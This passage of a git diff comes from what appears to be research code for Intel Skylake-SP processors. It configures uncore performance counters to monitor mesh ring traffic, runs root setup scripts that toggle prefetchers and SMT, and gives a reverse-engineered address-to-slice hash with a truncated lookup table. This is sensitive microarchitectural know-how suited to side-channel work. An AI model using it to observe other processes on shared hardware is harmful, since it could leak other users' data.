set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 2), + HORZ_RING_BL_IN_USE, + 0x3UL); // 0x3 = umask for left ring (even and odd) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 3), + HORZ_RING_BL_IN_USE, + 0xcUL); // 0xc = umask for right ring (even and odd) +} + +/** + * Sets all 4 counters on a core to measure the vertical directions of the BL ring. + */ +void set_bl_vert_ring_monitoring(int msr_fd, int core) { + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 0), + VERT_RING_BL_IN_USE, + 0x1UL); // 0x1 = umask for up ring (even) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 1), + VERT_RING_BL_IN_USE, + 0x2UL); // 0x2 = umask for up ring (odd) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 2), + VERT_RING_BL_IN_USE, + 0x4UL); // 0x4 = umask for down ring (even) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 3), + VERT_RING_BL_IN_USE, + 0x8UL); // 0x8 = umask for down ring (odd) +} +/** + * Sets all 4 counters on a core to measure the vert and horiz AD and BL traffic + */ +void set_ad_bl_ring_monitoring(int msr_fd, int core) { + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 0), + VERT_RING_AD_IN_USE, + 0xfUL); // 0xf = umask for up and down ring + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 1), + HORZ_RING_AD_IN_USE, + 0xfUL); // 0xf = umask for left and right ring + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 2), + VERT_RING_BL_IN_USE, + 0xfUL); // 0xf = umask for up and down ring + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 3), + HORZ_RING_BL_IN_USE, + 0xfUL); // 0xf = umask for left and right ring +} + +/** + * Sets all 4 counters on a core to measure the horizontal directions of the BL ring. + */ +void set_bl_horz_ring_monitoring(int msr_fd, int core) { + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 0), + HORZ_RING_BL_IN_USE, + 0x1UL); // 0x1 = umask for left ring (even) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 1), + HORZ_RING_BL_IN_USE, + 0x2UL); // 0x2 = umask for left ring (odd) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 2), + HORZ_RING_BL_IN_USE, + 0x4UL); // 0x4 = umask for right ring (even) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 3), + HORZ_RING_BL_IN_USE, + 0x8UL); // 0x8 = umask for right ring (odd) +} + +/** + * Sets all 4 counters on a core to measure the vert and horiz AK and IV traffic + */ +void set_ak_iv_ring_monitoring(int msr_fd, int core) { + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 0), + VERT_RING_AK_IN_USE, + 0xfUL); // 0xf = umask for up and down ring + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 1), + HORZ_RING_AK_IN_USE, + 0xfUL); // 0xf = umask for left and right ring + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 2), + VERT_RING_IV_IN_USE, + 0x5UL); // 0x5 = umask for up and down ring + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 3), + HORZ_RING_IV_IN_USE, + 0x5UL); // 0x5 = umask for left and right ring +} diff --git a/util/pmon_utils.h b/util/pmon_utils.h new file mode 100644 index 0000000..8e22133 --- /dev/null +++ b/util/pmon_utils.h @@ -0,0 +1,70 @@ +/** + * pmon_utils.hpp + * + * Utility functions for working with Intel's uncore performance monitors. + * Detailed information can be found in the Intel Xeon Processor Scalable Family + * Uncore Performance Monitoring Reference Manual +*/ + +#ifndef PMON_UTILS_H_ +#define PMON_UTILS_H_ + +#include // uint64_t +#include // pwrite, pread +#include +#include +#include +#include "pmon_reg_defs.h" +#include "machine_const.h" + +#define MAX_FILENAME_LEN 100 + +#define WRITE_MSR(msr_fd, offset, value) pwrite(msr_fd, &value, sizeof(value), offset) +#define READ_MSR(msr_fd, offset, value) pread(msr_fd, &value, sizeof(value), offset) + + +void set_pmon_cha_msr_ctr_ctrl_reg(int msr_fd, uint64_t msr_addr, + uint64_t event_code, uint64_t umask); +uint64_t read_pmon_cha_msr_ctr_reg(int msr_fd, int core, int n); + +int cpu_to_core(int cpu); +int core_to_cpu(int core); +int get_active_cpus(void); +int open_msr_fd(int cpu); +void close_msr_fd(int fd); +void open_msr_interface(int num_cpus, int msr_fd[]); +void close_msr_interface(int num_cpus, int msr_fd[]); + +void freeze_all_counters(int msr_fd); +void unfreeze_all_counters(int msr_fd); + +/** + * Reset pmon counter registers in a particular box (i.e. on a specific core) + */ +static inline void reset_counters(int msr_fd, int core) { + // 1.9.2.d Reset Counters in a box + uint64_t msr_val = 0x3; + if (WRITE_MSR(msr_fd, CHA_MSR_PMON_UNIT_CTRL(core), msr_val) == -1) { + perror("Error resetting counters"); + exit(EXIT_FAILURE); + } +} + +int get_corresponding_cha_no_msr(void *virtual_address, int msr_fd[NUM_LOG_CORES_PER_SOCKET]); +int get_corresponding_cha(void *virtual_address); +void *get_addr_in_core(int core, void *buf, long buf_size); +enum Ring {AD, IV, AK, BL}; +void set_ad_ring_monitoring(int msr_fd, int core); +void set_ad_vert_ring_monitoring(int msr_fd, int core); +void set_ad_horz_ring_monitoring(int msr_fd, int core); +void set_iv_ring_monitoring(int msr_fd, int core); +void set_ak_ring_monitoring(int msr_fd, int core); +void set_ak_horz_ring_monitoring(int msr_fd, int core); +void set_ak_vert_ring_monitoring(int msr_fd, int core); +void set_bl_ring_monitoring(int msr_fd, int core); +void set_bl_vert_ring_monitoring(int msr_fd, int core); +void set_bl_horz_ring_monitoring(int msr_fd, int core); +void set_ad_bl_ring_monitoring(int msr_fd, int core); +void set_ak_iv_ring_monitoring(int msr_fd, int core); + +#endif // PMON_UTILS_H_ diff --git a/util/setup-prefetch-on.sh b/util/setup-prefetch-on.sh new file mode 100755 index 0000000..47ba953 --- /dev/null +++ b/util/setup-prefetch-on.sh @@ -0,0 +1,18 @@ +#!/usr/bin/env bash + +# Set up the environment before running experiments with cache prefetchers enabled + +# Ensure the msr kernel module is loaded +sudo modprobe msr + +# Enable prefetchers +sudo wrmsr -a 0x1a4 0 + +# Provision some hugepages +echo 2048 | sudo tee /proc/sys/vm/nr_hugepages + +# Disable transparent hugepages (optional) +echo never | sudo tee /sys/kernel/mm/transparent_hugepage/enabled + +# Disable SMT (optional) +echo off | sudo tee /sys/devices/system/cpu/smt/control diff --git a/util/setup.sh b/util/setup.sh new file mode 100755 index 0000000..394693a --- /dev/null +++ b/util/setup.sh @@ -0,0 +1,18 @@ +#!/usr/bin/env bash + +# Set up the environment before running experiments with cache prefetchers disabled + +# Ensure the msr kernel module is loaded +sudo modprobe msr + +# Disable prefetchers +sudo wrmsr -a 0x1a4 15 + +# Provision some hugepages +echo 2048 | sudo tee /proc/sys/vm/nr_hugepages + +# Disable transparent hugepages (optional) +echo never | sudo tee /sys/kernel/mm/transparent_hugepage/enabled + +# Disable SMT (optional) +echo off | sudo tee /sys/devices/system/cpu/smt/control diff --git a/util/skx_hash_utils.c b/util/skx_hash_utils.c new file mode 100644 index 0000000..977fff3 --- /dev/null +++ b/util/skx_hash_utils.c @@ -0,0 +1,57 @@ +#include "skx_hash_utils.h" +#include "skx_hash_utils_addr_mapping.h" +#include "pfn_util.h" +#include +#include +#include + +/** + * Gets the corresponding CHA using the reverse engeineered hash function + */ +int get_cha_with_hash(void* virtual_address, bool huge) { + int xor_map[17] = {0x2f9f, 0x2c31, 0x5ea, 0xc76, 0xf4b, 0x7ff, 0x4c9, 0x2e79, 0x69b, 0xee7, 0x2a20, 0x494, 0x44, 0x571, 0x2e9b, 0x2365, 0x2d26}; + long test_map[14] = {0x1c48300000, 0x0, 0x1469b00000, 0x16bff00000, 0xc7b100000, 0x1a03500000, 0x4b6500000, 0xb2fc00000, 0x1a6ae00000, 0x69ab00000, 0x41f500000, 0x19a2900000, 0x1433d00000, 0xe3f300000}; + ADDR_PTR frame = get_physical_frame_number(((ADDR_PTR)virtual_address & (huge ? 0xffffffffc0000000 : 0xffffffffffffffff)) >> 12); + + + ADDR_PTR addr = (ADDR_PTR) virtual_address; + ADDR_PTR rand_addr_phys = (addr & (huge ? 0x3fffffff : 0xfff)) + ((ADDR_PTR) frame << 12); + ADDR_PTR ix_bits = (rand_addr_phys >> 6) & 0x3fff; + ADDR_PTR hash_bits = (rand_addr_phys >> 20); + int n = 0; + + int second_n = 0; + ADDR_PTR temp = hash_bits ^ 0x8000; + + for (int i = 0; i < 17; i++) { + int temp_n = 0; + //printf("i: %i\n", i); + // for (long a: test_map) { + for (int j = 0; j < 14; j++) { + long a = test_map[j]; + temp_n = temp_n << 1; + //printf("hash_bits: %lx, map: %lx\n", hash_bits >> i, (a >> (20+i))); + temp_n = temp_n ^ (((hash_bits ^ 0x8000) >> i) & (a >> (20 + i)) & 0x1); + //printf("temp_n: %i\n", temp_n); + } + second_n = second_n ^ temp_n; + } + + + for (int j = 0; j < 17; j++) { + if ((temp & 0x1) != 0) { + n = n ^ xor_map[j]; + } + temp = temp >> 1; + } + + if (n != second_n) { + printf("%x, %x\n", n, second_n); + exit(1); + } + //printf("n: %i\n", n); + int expected_cha = (int)BASE_SEQ[ix_bits^n]; + + return expected_cha; + +} \ No newline at end of file diff --git a/util/skx_hash_utils.h b/util/skx_hash_utils.h new file mode 100644 index 0000000..86f21ef --- /dev/null +++ b/util/skx_hash_utils.h @@ -0,0 +1,5 @@ +#include + +#define ADDR_PTR uint64_t + +int get_cha_with_hash(void* virtual_address, bool huge); diff --git a/util/skx_hash_utils_addr_mapping.h b/util/skx_hash_utils_addr_mapping.h new file mode 100644 index 0000000..9705e57 --- /dev/null +++ b/util/skx_hash_utils_addr_mapping.h @@ -0,0 +1,2 @@ +char BASE_SEQ[16384] = {7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,22,23,20,21,18,19,16,17,2,1,8,11,20,7,24,25,21,20,23,22,17,16,19,18,3,0,9,10,25,24,15,20,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,9,18,25,24,15,20,5,22,19,18,17,16,23,22,21,20,24,25,18,1,22,13,20,7,16,17,18,19,20,21,22,23,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,17,16,19,18,21,20,23,22,25,24,17,2,13,14,7,4,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,18,19,16,17,22,23,20,21,10,17,24,25,12,15,6,5,0,19,10,17,24,25,12,23,20,21,22,23,16,17,18,19,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,17,2,19,8,7,4,25,24,23,22,21,20,19,18,17,16,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,23,22,21,20,19,18,17,16,19,0,17,10,21,6,25,24,20,21,22,23,16,17,18,19,2,17,8,19,24,25,14,21,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,8,19,24,25,14,13,4,7,18,19,16,17,22,23,20,21,25,24,19,0,15,12,5,6,17,16,19,18,21,20,23,22,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,16,17,18,19,20,21,22,23,24,25,16,3,20,15,22,5,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,19,18,17,16,23,22,21,20,11,8,25,24,13,22,7,20,1,2,11,8,25,24,13,22,21,20,23,22,17,16,19,18,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,0,3,10,9,22,5,24,25,22,23,20,21,18,19,16,17,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,20,21,22,23,16,17,18,19,22,5,20,15,24,25,18,9,23,22,21,20,19,18,17,16,7,4,13,14,1,18,25,24,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,25,24,7,4,11,16,1,18,17,16,19,18,21,20,23,22,12,15,24,25,18,9,16,3,18,19,16,17,22,23,20,21,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,19,18,17,16,23,22,21,20,23,12,25,24,17,10,19,0,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,16,17,18,19,20,21,22,23,24,25,4,23,8,19,2,17,4,23,14,21,2,1,24,25,22,23,20,21,18,19,16,17,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,21,6,23,12,25,24,9,10,21,20,23,22,17,16,19,18,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,21,20,23,22,17,16,19,18,23,4,21,14,25,24,11,8,22,23,20,21,18,19,16,17,6,21,12,23,0,3,24,25,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,24,25,6,21,10,17,0,19,16,17,18,19,20,21,22,23,21,14,25,24,11,8,1,2,19,18,17,16,23,22,21,20,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,18,19,16,17,22,23,20,21,14,13,24,25,16,11,18,1,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,17,16,19,18,21,20,23,22,25,24,5,6,9,18,3,16,5,22,15,20,3,16,25,24,23,22,21,20,19,18,17,16,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,20,7,22,13,24,25,16,11,20,21,22,23,16,17,18,19,0,3,24,25,6,21,12,23,18,19,16,17,22,23,20,21,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,25,24,19,8,23,4,21,14,17,16,19,18,21,20,23,22,23,22,21,20,19,18,17,16,11,8,1,2,21,14,25,24,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,20,21,22,23,16,17,18,19,10,9,0,3,24,25,6,21,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,9,18,3,16,25,24,5,22,21,20,23,22,17,16,19,18,16,11,18,1,22,13,24,25,22,23,20,21,18,19,16,17,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,16,17,18,19,20,21,22,23,24,25,16,11,4,7,14,13,19,18,17,16,23,22,21,20,3,16,25,24,5,6,15,12,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,1,18,25,24,7,4,13,14,19,18,17,16,23,22,21,20,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,24,25,18,9,6,5,12,15,16,17,18,19,20,21,22,23,22,23,20,21,18,19,16,17,18,9,16,3,12,15,24,25,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,21,20,23,22,17,16,19,18,11,16,1,18,25,24,7,20,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,8,11,2,1,24,25,4,23,20,21,22,23,16,17,18,19,9,10,3,0,23,12,25,24,23,22,21,20,19,18,17,16,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,17,16,19,18,21,20,23,22,25,24,17,10,21,6,23,12,18,19,16,17,22,23,20,21,2,17,24,25,4,23,14,21,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,24,25,14,13,2,17,8,19,16,17,18,19,20,21,22,23,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,5,6,25,24,19,0,17,10,19,18,17,16,23,22,21,20,21,20,23,22,17,16,19,18,23,12,21,6,25,24,19,0,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,22,23,20,21,18,19,16,17,14,21,4,23,8,19,24,25,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,13,22,7,20,11,8,25,24,23,22,21,20,19,18,17,16,20,15,22,5,24,25,0,3,20,21,22,23,16,17,18,19,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,18,19,16,17,22,23,20,21,22,5,24,25,0,3,10,9,17,16,19,18,21,20,23,22,25,24,13,22,1,18,11,16,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,25,24,15,20,3,16,9,18,17,16,19,18,21,20,23,22,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,20,7,24,25,18,1,16,11,18,19,16,17,22,23,20,21,20,21,22,23,16,17,18,19,22,13,20,7,24,25,2,1,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,23,22,21,20,19,18,17,16,15,20,5,22,9,10,25,24,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,12,15,6,5,10,17,24,25,22,23,20,21,18,19,16,17,21,14,23,4,25,24,17,2,21,20,23,22,17,16,19,18,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,19,18,17,16,23,22,21,20,7,4,25,24,17,2,19,8,16,17,18,19,20,21,22,23,24,25,12,15,0,19,10,17,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,20,15,22,5,24,25,16,3,20,21,22,23,16,17,18,19,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,13,22,7,20,11,16,25,24,23,22,21,20,19,18,17,16,17,16,19,18,21,20,23,22,25,24,13,14,1,18,11,16,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,18,19,16,17,22,23,20,21,6,5,24,25,16,3,18,9,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,21,6,25,24,3,0,9,10,19,18,17,16,23,22,21,20,24,25,14,21,2,17,8,19,16,17,18,19,20,21,22,23,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,22,23,20,21,18,19,16,17,14,21,4,23,8,11,24,25,21,20,23,22,17,16,19,18,23,12,21,6,25,24,3,0,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,21,14,23,4,25,24,1,2,21,20,23,22,17,16,19,18,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,12,23,6,21,10,9,24,25,22,23,20,21,18,19,16,17,16,17,18,19,20,21,22,23,24,25,12,23,0,19,10,17,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,19,18,17,16,23,22,21,20,23,4,25,24,17,2,19,8,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,4,7,24,25,18,1,16,11,18,19,16,17,22,23,20,21,25,24,15,12,3,16,9,18,17,16,19,18,21,20,23,22,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,23,22,21,20,19,18,17,16,15,12,5,6,9,18,25,24,20,21,22,23,16,17,18,19,22,13,20,7,24,25,18,1,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,8,11,2,1,22,13,24,25,22,23,20,21,18,19,16,17,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,9,10,3,0,25,24,5,22,21,20,23,22,17,16,19,18,19,18,17,16,23,22,21,20,3,0,25,24,5,22,15,20,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,16,17,18,19,20,21,22,23,24,25,16,11,20,7,22,13,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,25,24,19,8,7,4,13,14,17,16,19,18,21,20,23,22,0,19,24,25,6,5,12,15,18,19,16,17,22,23,20,21,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,20,21,22,23,16,17,18,19,10,17,0,19,24,25,6,21,23,22,21,20,19,18,17,16,19,8,17,2,21,14,25,24,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,17,10,19,0,15,12,25,24,23,22,21,20,19,18,17,16,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,8,19,2,17,24,25,4,23,20,21,22,23,16,17,18,19,18,19,16,17,22,23,20,21,2,17,24,25,4,7,14,13,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,17,16,19,18,21,20,23,22,25,24,17,10,5,6,15,12,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,24,25,18,9,22,5,20,15,16,17,18,19,20,21,22,23,1,18,25,24,7,20,13,22,19,18,17,16,23,22,21,20,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,21,20,23,22,17,16,19,18,11,8,1,2,25,24,7,20,22,23,20,21,18,19,16,17,10,9,0,3,20,15,24,25,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,16,17,18,19,20,21,22,23,24,25,4,7,8,19,2,17,19,18,17,16,23,22,21,20,15,12,25,24,17,10,19,0,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,21,6,23,12,25,24,17,10,21,20,23,22,17,16,19,18,4,7,14,13,2,17,24,25,22,23,20,21,18,19,16,17,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,23,22,21,20,19,18,17,16,7,20,13,22,1,2,25,24,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,20,21,22,23,16,17,18,19,22,5,20,15,24,25,10,9,20,15,24,25,18,9,16,3,18,19,16,17,22,23,20,21,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,25,24,7,20,11,16,1,18,17,16,19,18,21,20,23,22,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,17,16,19,18,21,20,23,22,25,24,5,22,9,18,3,16,18,19,16,17,22,23,20,21,22,13,24,25,8,11,2,1,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,20,7,22,13,24,25,8,11,20,21,22,23,16,17,18,19,5,22,15,20,3,0,25,24,23,22,21,20,19,18,17,16,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,22,23,20,21,18,19,16,17,6,21,12,23,0,19,24,25,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,21,20,23,22,17,16,19,18,23,4,21,14,25,24,19,8,13,14,25,24,19,8,17,2,19,18,17,16,23,22,21,20,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,24,25,6,5,10,17,0,19,16,17,18,19,20,21,22,23,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,18,19,16,17,22,23,20,21,10,17,24,25,12,23,6,21,17,16,19,18,21,20,23,22,25,24,17,2,21,14,23,4,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,1,2,11,8,23,4,25,24,23,22,21,20,19,18,17,16,0,3,10,9,24,25,12,23,20,21,22,23,16,17,18,19,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,21,20,23,22,17,16,19,18,3,16,9,18,25,24,15,20,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,22,23,20,21,18,19,16,17,18,1,16,11,4,7,24,25,24,25,18,1,14,13,4,7,16,17,18,19,20,21,22,23,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,9,18,25,24,15,12,5,6,19,18,17,16,23,22,21,20,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,19,18,17,16,23,22,21,20,11,16,25,24,13,14,7,4,16,17,18,19,20,21,22,23,24,25,16,3,12,15,6,5,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,16,3,18,9,22,5,24,25,22,23,20,21,18,19,16,17,1,18,11,16,25,24,13,22,21,20,23,22,17,16,19,18,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,20,21,22,23,16,17,18,19,2,1,8,11,24,25,14,21,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,23,22,21,20,19,18,17,16,3,0,9,10,21,6,25,24,25,24,19,0,23,12,21,6,17,16,19,18,21,20,23,22,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,8,11,24,25,14,21,4,23,18,19,16,17,22,23,20,21,22,23,20,21,18,19,16,17,6,21,12,23,0,3,24,25,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,21,20,23,22,17,16,19,18,23,4,21,14,25,24,11,8,21,14,25,24,19,8,17,2,19,18,17,16,23,22,21,20,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,24,25,6,21,10,9,0,3,16,17,18,19,20,21,22,23,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,17,16,19,18,21,20,23,22,25,24,5,6,9,18,3,16,18,19,16,17,22,23,20,21,14,13,24,25,16,11,18,1,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,20,7,22,13,24,25,16,11,20,21,22,23,16,17,18,19,5,22,15,20,3,16,25,24,23,22,21,20,19,18,17,16,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,23,22,21,20,19,18,17,16,7,20,13,22,1,18,25,24,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,20,21,22,23,16,17,18,19,6,5,12,15,24,25,18,9,12,15,24,25,18,9,16,3,18,19,16,17,22,23,20,21,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,25,24,7,4,11,16,1,18,17,16,19,18,21,20,23,22,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,16,17,18,19,20,21,22,23,24,25,4,23,8,19,2,17,19,18,17,16,23,22,21,20,23,12,25,24,17,10,19,0,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,21,6,23,12,25,24,9,10,21,20,23,22,17,16,19,18,4,23,14,21,2,1,24,25,22,23,20,21,18,19,16,17,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,20,21,22,23,16,17,18,19,2,17,8,19,24,25,14,21,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,23,22,21,20,19,18,17,16,19,0,17,10,21,6,25,24,25,24,19,0,15,12,5,6,17,16,19,18,21,20,23,22,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,8,19,24,25,14,13,4,7,18,19,16,17,22,23,20,21,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,19,18,17,16,23,22,21,20,11,16,25,24,13,22,7,20,16,17,18,19,20,21,22,23,24,25,0,3,20,15,22,5,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,0,3,10,9,22,5,24,25,22,23,20,21,18,19,16,17,1,2,11,8,25,24,13,22,21,20,23,22,17,16,19,18,12,1